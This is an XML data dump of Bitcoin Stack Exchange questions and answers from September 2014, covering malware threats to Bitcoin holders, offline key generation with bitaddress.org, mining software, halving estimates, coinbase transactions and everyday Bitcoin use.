  <row Id="30335" PostTypeId="1" CreationDate="2014-09-01T10:03:17.233" Score="11" ViewCount="1813" Body="&lt;p&gt;Some months ago I put a small amount of Bitcoin into an account and wrote the address and private key into a text file. I have left on my computers and on those of a couple of friends. The money hasn’t been taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the main danger come from? Screenshots, key-logging or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main motive in asking this is that I use bitaddress.org offline to generate addresses, but without using Ubuntu or taking out my hard drive. I never copy my private key onto the clipboard, and I wonder whether the danger I face of having my coins taken - particularly if I store more in this way - is real or merely highly improbable?&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="5464" LastEditDate="2014-09-01T10:49:09.970" LastActivityDate="2017-10-03T13:38:31.493" Title="Is the threat of computer malware to steal Bitcoin exaggerated?" Tags="|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30336" PostTypeId="2" ParentId="30335" CreationDate="2014-09-01T10:43:04.623" Score="18" Body="&lt;p&gt;Currently attacks against Bitcoin users can be categorized as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Normal&quot; keylogging malware which stoles credentials to Bitcoin sites and steals Bitcoins from your online wallet (unless you have two-factor authentication). These kind of malware infections generally steal all your passwords, including Facebook, PayPal, and they do not especially target Bitcoin users.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Password reuse attacks - if you have used the same password on some other sites, your username and password are stolen or taken from the site and then tried on all popular Bitcoin sites. This may especially happen with shady services like faucets which promise &quot;free bitcoins&quot; if you sign up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Phishing attacks, both via email and Google advertisements. E.g. if you search BlockChain or LocalBitcoins on Google, the first &quot;result&quot; is an advertisement leading to a phishing site. The user gives his username and password on the phishing site, then the site will empty the wallet on the actual Bitcoin site the user thought he/she was logging in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Malware and computer viruses targetting locally installed Bitcoin software. These steal &lt;code&gt;wallet.dat&lt;/code&gt; or unencrypted copy of it from the memory when you unlock it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/23sjle/chrome_extension_just_stole_my_btc/&quot;&gt;Malicious browser addons (Chrome)&lt;/a&gt; targetting popular Bitcoin sites. These may modify Bitcoin receiving address on the page in-fly, so that they can get around two-factor authentication protections set up by Bitcoin sites. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/category/tags/mitm&quot;&gt;Malicious Tor exit node attacks&lt;/a&gt; - if you want to hide your tracks using Tor network, there are malicious exit nodes which will do HTTPS man-in-the-middle attack using fake security credentials. The web browser warns about this, but an ordinary user may ignore the warning.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://thecoinfront.com/roger-ver-deflects-hacker-posts-bounty-for-their-arrest/&quot;&gt;Social engineering attacks&lt;/a&gt;. If you are a &quot;known Bitcoin celebrity&quot; criminals might to attack your personally, by phone calling you and posing as a service operator, police etc. They might go after your ISP, email provider, etc. and try to social engineer access to your email.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Very difficult to pull attacks, &lt;a href=&quot;http://securityaffairs.co/wordpress/27448/cyber-crime/bitcoin-mining-pools-hack.html&quot;&gt;like rerouting all Internet traffic just to gain access to Bitcoin mining pool IP addresses&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2014/02/26/nearly-150-breeds-of-bitcoin-stealing-malware-in-the-wild-researchers-say/&quot;&gt;There are already 100+ strains of malware targeting Bitcoin users&lt;/a&gt;. Because Bitcoins are easy to steal from careless users, it seems to be profitable to include Bitcoin-stealing capabilities in all malware kits. In the light of this, malware threat against Bitcoin users is not exaggerated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, to get your Bitcoins stolen by malware, you need to get your computer infected. The ways to protect yourself include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not install applications or browser extensions on your computer from non-trusted sources, especially pirated applications or random download sites which offer Microsoft Windows application downloads. Always download all Windows software from the webpage of the software author. For OSX or Linux use App Store or the Linux distribution package manager.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Always keep the software on your computer up-to-date. Nearly every vulnerability widely exploited by cyber criminals has already been patched by the software manufacturer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use safer operating systems like Ubuntu Linux and OSX instead of Microsoft Windows, to lower the risk to get infection on your computer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use password management software, like &lt;a href=&quot;http://www.keepassx.org/&quot;&gt;KeePassX&lt;/a&gt;, and random password on every website&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep most of your Bitcoin holdings offline, on a separate device not connected to Internet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="1489" LastEditDate="2014-09-02T01:27:41.540" LastActivityDate="2014-09-02T01:27:41.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30337" PostTypeId="1" CreationDate="2014-09-01T12:05:22.813" Score="0" ViewCount="983" Body="&lt;p&gt;By not installing Ubuntu and not removing the hard drive, I suppose I am vulnerable when I open bitaddress.org offline and enter the 64 random hexadecimal characters I have generated without a computer to find corresponding public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I clear the browser before re-connecting to the net. I never use the mouse to copy the private address (or indeed keep any computer record of it) but, if malware can pick up the 64 random hexadecimal characters which I typed in or if it can take a screenshot of the private WIF address I am screwed.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="5757" LastEditDate="2014-09-01T12:23:12.203" LastActivityDate="2015-06-28T19:30:34.247" Title="How vulnerable are offline users of bitaddress.org, who don’t use Ubuntu?" Tags="|ubuntu|bitaddress.org|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30338" PostTypeId="2" ParentId="30337" CreationDate="2014-09-01T13:18:48.347" Score="0" Body="&lt;p&gt;That really depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a type of person that, although not using ubuntu , but you buy a fresh new cheap laptop and transfer the offline version of bitaddress.org to it , you are already quite safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people use ubuntu for offline as they are really safe.&lt;/p&gt;&#xA;" OwnerDisplayName="user19180" LastActivityDate="2014-09-01T13:18:48.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30339" PostTypeId="1" CreationDate="2014-09-01T17:20:17.537" Score="2" ViewCount="290" Body="&lt;p&gt;As a complete newbie I purchased USB ASIC mining device, installed bfgminer on raspberry pi and tried to run it. As the reward is not changing, I am wondering whether bfgminer is running correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the snapshot of bfgminer:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ypXQI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the snapshot of workers status in Slush's pool:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2ZkmE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very thankful if anyone could tell whether this is working correctly or how to check in general if everything is OK.&lt;/p&gt;&#xA;" OwnerUserId="19209" LastActivityDate="2014-10-01T23:49:50.693" Title="is bfgminer running correctly?" Tags="|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30340" PostTypeId="1" AcceptedAnswerId="38404" CreationDate="2014-09-01T19:37:05.133" Score="2" ViewCount="186" Body="&lt;p&gt;Is there a public site where you can access the nxt api? like how blockchain.info does it. all i want to do is make queries to retrieve all the messages in the nxt network to see the activity.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-10-02T15:44:15.647" Title="What is a public NXT api i can access?" Tags="|api|nxt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30344" PostTypeId="1" CreationDate="2014-09-01T22:44:50.180" Score="5" ViewCount="6056" Body="&lt;p&gt;I've read in some places that the next halving event will be on 2016. How can this be estimated?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="2751" LastEditDate="2014-09-01T23:34:01.467" LastActivityDate="2016-06-27T21:05:17.007" Title="When will next halving events occur?" Tags="|difficulty|reward-schedule|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30345" PostTypeId="2" ParentId="30344" CreationDate="2014-09-01T23:05:52.210" Score="9" Body="&lt;p&gt;The Bitcoin reward schedule follows a predetermined pattern, see &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot;&gt;Controlled supply&lt;/a&gt; from the Bitcoin wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next reward drop will happen at block number 420000. The current block number at the time of writing this answer is 318662. There are about 101338 blocks remaining. At approximately 10 minutes per block, there are approximately 1008 blocks per week, and 101338 divided by 1008 is about 100.5. So you can expect the next reward drop approximately 100 weeks from now, or around August 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://bitcoinclock.com&quot;&gt;http://bitcoinclock.com&lt;/a&gt; site does this calculation for you and provides an estimate right at the top. At the time of writing this answer, it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Reward-Drop ETA:&lt;/strong&gt; 2016-08-05 12:47:44 UTC (&lt;strong&gt;100&lt;/strong&gt; weeks, &lt;strong&gt;3&lt;/strong&gt; days, &lt;strong&gt;17&lt;/strong&gt; hours, &lt;strong&gt;40&lt;/strong&gt; minutes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-09-01T23:05:52.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30347" PostTypeId="2" ParentId="30339" CreationDate="2014-09-01T23:23:34.140" Score="-1" Body="&lt;p&gt;When i look at the snapshot it seems like your device isn't hashing. Did you have your device hashing? and did you get the USB TO UART DRIVER BY SILICONE LABS? respond when you have the answers.&lt;/p&gt;&#xA;" OwnerUserId="19216" LastActivityDate="2014-09-01T23:23:34.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30348" PostTypeId="2" ParentId="30344" CreationDate="2014-09-02T00:10:54.970" Score="6" Body="&lt;p&gt;On average, since the creation of Bitcoin, a new block has been created every 9 minutes and 20 seconds. This is 7% faster than the correct time of 10 minutes. Taking that into account, I predict that the next one will be at &lt;strong&gt;Jun 20, 2016&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-02T00:10:54.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30349" PostTypeId="1" AcceptedAnswerId="30351" CreationDate="2014-09-02T03:56:27.663" Score="6" ViewCount="3487" Body="&lt;p&gt;Must a block contain a coinbase transaction? If so, how is this enforced?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2015-11-07T15:00:49.197" LastActivityDate="2015-11-07T15:00:49.197" Title="Must a Block contain a coinbase transaction?" Tags="|block|mining-reward|coinbase-transaction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30350" PostTypeId="2" ParentId="30349" CreationDate="2014-09-02T03:59:13.033" Score="7" Body="&lt;p&gt;Yes, it must.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block without coinbase transaction will be rejected by network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&quot;&gt;Protocol&lt;/a&gt;, rule #6:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First transaction must be coinbase (i.e. only 1 input, with hash=0, n=-1), the rest must not be&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="15412" LastEditDate="2014-09-02T08:02:15.637" LastActivityDate="2014-09-02T08:02:15.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30351" PostTypeId="2" ParentId="30349" CreationDate="2014-09-02T04:16:29.670" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Every block must include one or more transactions. The first one of these transactions must be a coinbase transaction which should collect and spend the block reward and any transaction fees paid by transactions included in this block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Foundation Developer Guide— &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#transaction-data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="15412" LastEditDate="2014-09-02T08:00:51.770" LastActivityDate="2014-09-02T08:00:51.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30352" PostTypeId="2" ParentId="16936" CreationDate="2014-09-02T04:38:26.427" Score="0" Body="&lt;p&gt;i suggest you surf the Coinist site at &lt;a href=&quot;https://coinist.co/ripple/gateways&quot; rel=&quot;nofollow&quot;&gt;https://coinist.co/ripple/gateways&lt;/a&gt; for all the latest Ripple Gateways that most people use and more will be implemented soon and hopefully &lt;a href=&quot;https://www.rippletrade.com&quot; rel=&quot;nofollow&quot;&gt;~Ripple&lt;/a&gt; will put an Official list.&lt;/p&gt;&#xA;" OwnerUserId="19177" LastActivityDate="2014-09-02T04:38:26.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30354" PostTypeId="2" ParentId="24382" CreationDate="2014-09-02T11:50:00.323" Score="1" Body="&lt;p&gt;Talking about alternatives, CryptoNote based coins do not have a testnet mode but you can effectively create a testnet with a few simple steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/zone117x/node-cryptonote-pool#setting-up-testnet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zone117x/node-cryptonote-pool#setting-up-testnet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there's one drawback to this method. You'll be able to set up your own testnode but the connection with other peers is done manually.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't heard of CryptoNote, it's a platform allowing for creation of absolutely anonymous cryptocurrencies. The best example of which is Bytecoin (BCN). This coin was launched in 2012 and is the first cryptocurrency to have used CN protocol as a core technology.     &lt;/p&gt;&#xA;" OwnerUserId="18678" LastEditorUserId="18678" LastEditDate="2014-09-02T12:30:05.090" LastActivityDate="2014-09-02T12:30:05.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30355" PostTypeId="1" CreationDate="2014-09-02T16:18:37.933" Score="2" ViewCount="635" Body="&lt;p&gt;I see a lot of people selling Bitcoin on eBay. Since the government began regulating exchanges, are there any rules you have to follow now to sell Bitcoins on a site like eBay? Additionally, are there any rules you have to follow when buying from eBay?&lt;/p&gt;&#xA;" OwnerUserId="12542" LastActivityDate="2014-10-02T16:58:20.623" Title="Is there any regulations on buying and selling Bitcoin on eBay?" Tags="|exchanges|regulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30356" PostTypeId="2" ParentId="30355" CreationDate="2014-09-02T16:40:45.100" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;http://pages.ebay.com/help/policies/currstamps.html&quot; rel=&quot;nofollow&quot;&gt;eBay's Stamps, Currency and Coins Policy&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Virtual currency must be listed in the Classified Ad format in the Coins &amp;amp; Paper Money &gt; Virtual Currency category. These requirements apply regardless of whether the virtual currency is digitally or physically delivered. Examples of items subject to this policy include Bitcoins, Litecoins and other similar cryptocurrencies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In particular, it appears you are currently not allowed to auction Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-02T16:40:45.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30357" PostTypeId="1" CreationDate="2014-09-02T18:59:52.737" Score="2" ViewCount="209" Body="&lt;p&gt;Just starting to learn bitcoin scripting. Can someone explain how to pay out based on some real-life event?&lt;br&gt;&#xA;I currently test from the command line with bitcoind -regtest&lt;/p&gt;&#xA;" OwnerUserId="19224" LastEditorUserId="2306" LastEditDate="2014-09-03T01:36:54.060" LastActivityDate="2014-09-29T08:47:12.557" Title="Bitcoin payout based on real-life event" Tags="|transactions|bitcoind|bitcoin-core|script|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30358" PostTypeId="1" CreationDate="2014-09-02T20:04:39.380" Score="1" ViewCount="314" Body="&lt;p&gt;I have NOT done any kind of system restore (don't have the hard drive space for that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multibit application won't open. I tried installing the latest version, didn't seem to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated Java and rebooted. Didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been many months since I've even looked at my BTC. I can't even remember what a wallet is supposed to look like... Can someone confirm it should be called saving.wallet? That's my impression from their site but a search of my PC shows no such file?&lt;/p&gt;&#xA;" OwnerUserId="19226" LastActivityDate="2014-10-04T07:36:07.767" Title="Multibit Won't Open" Tags="|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30359" PostTypeId="1" CreationDate="2014-09-01T15:03:58.550" Score="0" ViewCount="83" Body="&lt;p&gt;I have small question, where does bitcoin &quot;banks&quot; keep money you pay them for bitcoins? do they keep it in some kinda bank ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when we sell bitcoins to dollars what fee do we pay?&lt;/p&gt;&#xA;" OwnerDisplayName="user3174140" LastEditorUserId="5464" LastEditDate="2014-09-03T07:35:57.930" LastActivityDate="2014-09-03T07:35:57.930" Title="Where Bitcoin is kept and what fees are included when liquidating Bitcoin" Tags="|banks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30360" PostTypeId="2" ParentId="30359" CreationDate="2014-09-01T15:48:15.327" Score="2" Body="&lt;p&gt;Bitcoin &quot;banks&quot; are markets, not savings institutions. When you buy a bitcoin, you have &lt;em&gt;bought&lt;/em&gt; a bitcoin; the money becomes the seller's. When you sell a bitcoin the money becomes yours and the bitcoin becomes theirs; similarly when you buy something with a bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the value of bitcoins is not nailed down, there's no question of a transaction fee; you just agree with the other person on what the price of the goods is in bitcoins (or on what the conversion rate to/from other currencies will be). If you don't like the price or rate one person charges, you go elsewhere.&lt;/p&gt;&#xA;" OwnerDisplayName="keshlam" LastActivityDate="2014-09-01T21:32:21.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30361" PostTypeId="2" ParentId="30359" CreationDate="2014-09-01T16:44:40.253" Score="0" Body="&lt;p&gt;If you exchange dollars for bitcoin, you gain a bitcoin and lose a dollar and the other person gains a dollar and loses a bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person with dollars will store them however they want to store dollars. Most of the online exchanges have bank accounts (like any other business) so they can store their fiat currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no inherent fee associated with buying and selling bitcoin. Some businesses try to make money from this practice and may charge 1% or so. Others just give you a bad exchange rate, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its the same as when you exchange currencies at the airport.&lt;/p&gt;&#xA;" OwnerUserId="3047" OwnerDisplayName="CQM" LastActivityDate="2014-09-01T16:44:40.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30362" PostTypeId="1" CreationDate="2014-09-03T05:35:33.963" Score="3" ViewCount="618" Body="&lt;p&gt;I'm new to Bitcoin and I wanted to know which retailers/hotels would accept Bitcoin as a form of payment from Canadians. If a site accepts Bitcoin as a form of payment does that mean they accept it from every country or just specific countries though they might accept credit card as a form from every country.&lt;/p&gt;&#xA;" OwnerUserId="19228" LastActivityDate="2017-11-14T11:17:56.150" Title="Is there an updated accurate list of retailers who accept Bitcoin from Canadians?" Tags="|canada|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30363" PostTypeId="2" ParentId="24276" CreationDate="2014-09-03T07:39:47.637" Score="0" Body="&lt;p&gt;I suggest you run bitcoind directly on your server and then interact with over its own JSON-RPC API. There are libraries for every programming language to do this.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-09-03T07:39:47.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30364" PostTypeId="1" CreationDate="2014-09-03T08:37:50.797" Score="0" ViewCount="82" Body="&lt;p&gt;Some months ago, using bitaddress.org (offline but using my normal operating system), I made a key pair, copied the key and address to paper and stored a small quantity of Bitcoin at the address. Later, of course, the computer was again connected to the Internet, but the money has not been stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the fact that probably no malware captured my private key those months ago suggest that the key is safe? Is it credible that malware would capture an address with small amounts of Bitcoin, but not extract it in the hope that later more would be paid into the same address?&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="5406" LastEditDate="2014-09-03T12:54:03.303" LastActivityDate="2014-09-03T12:54:03.303" Title="If Bitcoin is not stolen from an address for some months does it suggest that malware did not capture the key?" Tags="|theft|malware|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30365" PostTypeId="5" CreationDate="2014-09-03T10:30:06.770" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-03T10:30:06.770" LastActivityDate="2014-09-03T10:30:06.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30366" PostTypeId="4" CreationDate="2014-09-03T10:30:06.770" Score="0" Body="collects questions concerned with papers about or academic research into crypto-currencies." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-03T10:30:06.770" LastActivityDate="2014-09-03T10:30:06.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30367" PostTypeId="2" ParentId="30364" CreationDate="2014-09-03T12:43:38.433" Score="3" Body="&lt;p&gt;It is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Affirming_a_disjunct&quot; rel=&quot;nofollow&quot;&gt;fallacy of the alternative disjunct&lt;/a&gt; to assume that your private key is in fact private, just because a potential other party has not used it: The two events &lt;em&gt;&quot;somebody has gained access to my private key&quot;&lt;/em&gt; and &lt;em&gt;&quot;nobody has used my private key&quot;&lt;/em&gt; are not disjunct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are uncertain whether your private key has been compromised, you should move your bitcoins to a securely created new address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-03T12:43:38.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30369" PostTypeId="2" ParentId="30237" CreationDate="2014-09-03T15:23:47.827" Score="2" Body="&lt;p&gt;This is an interesting question, and certainly one to which the answer will evolve before Bitcoin adoption could hit the mainstream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an abstract level, it is trivial to answer: &lt;strong&gt;In order for you to want to pay in Bitcoin, it must give you an advantage compared to other payment methods, or it must be the exclusive path to some good or service.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of concrete reasons, although maybe none of them will apply to you personally.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tipping and Donating&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Like sending money in the mail, it is possible to offer monetary support without providing your identity or address. Additionally, with Bitcoin the receiving party doesn't have to provide its personal information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The low transaction fees make it economically feasible to send smaller amounts than by mail. This is especially true if the receiving party is located in another country. It's easy to send just a few cents to another internet user to commend him for an insightful contribution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Buying digital goods&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Buying access to a newspaper article, a movie, or an mp3-download currently requires you to create an account with the merchant and, often, to create a balance first. Bitcoin could allow such purchases without exchange of personal information for a global market.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Especially for small purchases, it would be likely that merchants would offer a discount, as receiving bitcoin payments is significantly cheaper, easier to implement, and less hassle, since they can't be charged back. On the other hand, any sufficient reputable service would not be interested in scamming the customers for &lt;em&gt;cents&lt;/em&gt;, potentially alienating its userbase.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For example, I could easily see Bitcoin become a much used payment method for computer game vendors such as Steam or GOG, as it already has become for HumbleBundle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Online Gambling, Pornography, and Drugs&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;While we might not like it, Bitcoin as a payment method has advantages for services of questionable morality and legality, so there are some that operate solely on Bitcoin or at least offer it as an alternative payment method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It might be preferable to users to pay by Bitcoin, than to have a pornsite's charge on the credit card, while pornsites have a lot of trouble with chargebacks due to buyer's remorse and for other reasons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Bitcoin is a fast and cheap way to send money to a private person abroad&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Definitely faster than an international wire, or even TransferWise.&lt;/li&gt;&#xA;&lt;li&gt;Likely cheaper than Western Union or PayPal (depending on exchange courses and amounts).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;You don't need a bank account&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For a lot of people it is significantly easier to gain access to Bitcoin (just internet access), than to get a credit card or even a bank account. Currently, not having access to banking is a major hurdle in order to participate in online markets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Travelling&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Far down the road, it might be easier to carry just Bitcoin while traveling than to exchange to the local currency for each country. Already, one can pay taxis, hotel rooms, air fare, and food delivery in Bitcoin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-03T15:23:47.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30370" PostTypeId="1" AcceptedAnswerId="35519" CreationDate="2014-09-03T15:26:20.430" Score="4" ViewCount="1225" Body="&lt;p&gt;Would miners generally accept a transaction that has one of its output values set to zero? Can the acceptance in this case depend also on the scriptPubKey associated with the zeroed output?&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="5406" LastEditDate="2016-03-14T16:57:09.220" LastActivityDate="2016-03-14T16:57:09.220" Title="Are transactions containing zero-value output accepted by miners?" Tags="|transactions|output|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30373" PostTypeId="1" CreationDate="2014-09-03T16:06:14.610" Score="1" ViewCount="139" Body="&lt;p&gt;In the miners (&lt;code&gt;sgminer&lt;/code&gt;) log file I have the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[21:14:19] ADL index 0, id -546853344 - BIOS partno.: 113-C3865001-T04, version: 015.041.000.000.000000, date: 11/25/13 02:47&#xA;[21:14:19] GPU 0 assigned: iAdapterIndex:0 iPresent:1 strUDID:256:26520:4098:12289:5963 iBusNumber:1 iDeviceNumber:0 iDrvIndex:0 iFunctionNumber:0 iVendorID:4098 name:AMD Radeon R9 200 Series                    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I use the information above to identify the exact GPU type? It's clear about the &lt;code&gt;AMD Radeon R9 200 Series&lt;/code&gt; family, but I need the exact type also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any database I can use?&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="5406" LastEditDate="2016-02-21T16:01:40.843" LastActivityDate="2016-02-21T16:01:40.843" Title="Is it possible to identify exact GPU type using miner's log file?" Tags="|gpu|gpu-mining|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
